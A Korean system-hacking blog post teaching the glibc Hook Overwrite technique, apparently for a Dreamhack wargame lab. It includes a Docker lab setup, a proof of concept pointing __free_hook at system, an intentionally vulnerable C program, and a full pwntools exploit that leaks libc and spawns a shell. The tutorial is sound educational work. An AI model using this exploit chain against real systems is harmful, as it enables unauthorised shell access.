[포너블] Exploit Tech: Hook Overwrite

Chris Kim·2024년 10월 21일

시스템해킹

목록 보기
17/33

0. 서론

Hooking(후킹)은 운영체제가 어떤 코드를 실행하려 할 떄, 이를 낚아채어 다른 코드가 실행되게 하는 것을 말한다.malloc()free()와 함께 호출되는 Hook이 함수 포인터 형태로 존재하는데, 이 함수 포인터를 임의의 함수 주소로 오버라이트 하는 것이 Hook Overwrite다. 이를 이용해 Full RELRO를 우회할 수 있다.
그리고 본 문서에서는 원가젯(one-gadget)에 대해 배울 것이다.
mallocfree의 훅이 유효하면서 원가젯의 제약조건을 쉽게 만족하는 환경은 Ubuntu 18.06 64bit(Glibc 2.27버전) 이다.

실습 환경

도커파일은 다음과 같다.

FROM ubuntu:18.04

ENV PATH="${PATH}:/usr/local/lib/python3.6/dist-packages/bin"
ENV LC_CTYPE=C.UTF-8

RUN apt update
RUN apt install -y \
    gcc \
    git \
    python3 \
    python3-pip \
    ruby-full\
    sudo \
    tmux \
    vim \
    wget

# install pwndbg
WORKDIR /root
RUN git clone https://github.com/pwndbg/pwndbg
WORKDIR /root/pwndbg
RUN git checkout 2023.03.19
RUN ./setup.sh

# install pwntools
RUN pip3 install --upgrade pip
RUN pip3 install pwntools

# install one_gadget command
RUN gem install elftools -v 1.1.3
RUN gem install one_gadget -v 1.9.0

WORKDIR /root

도커 이미지 빌드/컨테이너 실행/셸 실행 명령어

$ IMAGE_NAME=ubuntu1804 CONTAINER_NAME=my_container; \
docker build . -t $IMAGE_NAME; \
docker run -d -t --privileged --name=$CONTAINER_NAME $IMAGE_NAME; \
docker exec -it -u root $CONTAINER_NAME bash

1. 메모리 함수 훅

1.1 malloc, free, realloc hook

제목의 세 함수는 디버깅 편의를 위해 훅 변수가 정의된다. 함수가 시작될때, 훅 변수의 값이 NULL인지 검사하고, 아니라면 그 함수를 실행하기 전에 훅 변수가 가리키는 함수를 먼저 실행한다. 이때, 원래 함수의 인자는 훅 함수에 전달된다.

// __malloc_hook
void *__libc_malloc (size_t bytes)
{
  mstate ar_ptr;
  void *victim;
  void *(*hook) (size_t, const void *)
    = atomic_forced_read (__malloc_hook); // malloc hook read
  if (__builtin_expect (hook != NULL, 0))
    return (*hook)(bytes, RETURN_ADDRESS (0)); // call hook
#if USE_TCACHE
  /* int_free also calls request2size, be careful to not pad twice.  */
  size_t tbytes;
  checked_request2size (bytes, tbytes);
  size_t tc_idx = csize2tidx (tbytes);
  // ...
}

1.2 훅의 위치와 권한

훅 변수는 libc.sobss, data 섹션에 포함된다. 이 섹션들에는 쓰기가 가능하므로 조작이 가능하다.

1.3 Hook Overwrite

// Name: fho-poc.c
// Compile: gcc -o fho-poc fho-poc.c

#include <malloc.h>
#include <stdlib.h>
#include <string.h>

const char *buf="/bin/sh";

int main() {
  printf("\"__free_hook\" now points at \"system\"\n");
  __free_hook = (void *)system;
  printf("call free(\"/bin/sh\")\n");
  free(buf);
}

훅 변수는 쓰기 권한으로 존재하는 함수 포인터이기에, 공격에 악용되기 쉽다. 뿐만 아니라 힙 청크 할당과 해제가 다발적으로 일어나는 환경에서 성능에 악영향을 주기 떄문에 보안과 성능 향상을 이유로 Glibc 2.34 버전부터 제거되었다.

1.4 Free Hook Overwrite

도커 환경 구축 참고 사이트

소스코드

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  puts("[2] Arbitary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;

  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);

  return 0;
}

1.5 익스플로잇 설계

위의 소스코드는 Canary, ASLR, PIE, RELRO가 모두 적용되어 있다.
(1) 먼저 처음에 버퍼 오버 플로우를 통해 main 함수를 호출한 __libc_start_main 함수의 주소를 읽고, libc_base를 계산한다.
(2) 2단계에서는 임의의 주소에 내가 원하는 임의의 값을 넣을 수 있다. 즉 훅 변수에 내가 원하는 system 함수 주소를 free 함수의 훅 변수에 넣으면 free 함수가 실행되기 전에 system 함수가 실행된다.



from pwn import *

def slog(name, addr): return success(': '.join([name, hex(addr)]))
context.log_level="debug"

p = remote("host3.dreamhack.games",15161)
e = ELF("./fho")
libc = ELF('./libc-2.27.so')


#########################offset#################################


hook_off = libc.symbols['__free_hook']
sys_off = libc.symbols['system']
sh_off = list(libc.search(b"/bin/sh"))[0]
libc_start_off = libc.symbols['__libc_start_main']

#[1] Leak libc! ####################################################

buf = b'A'*0x48
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
libc_start = u64(p.recvline()[:-1] + b'\x00'*2)

libc_base = libc_start - libc_start_off - 231
system = libc_base + sys_off
sh = libc_base + sh_off
free_hook = libc_base + hook_off

slog('libc_base', libc_base)
slog('system', system)
slog('free hook', free_hook)
slog('/bin/sh', sh)

# [2] __free_hook = &system
p.sendlineafter('write: ', str(free_hook).encode())
p.sendlineafter('With: ', str(system).encode())


#[3] free(/bin/sh) ==> system(/bin/sh)

p.sendlineafter('free: ', str(sh).encode())
p.interactive()
profile
회계+IT=???

0개의 댓글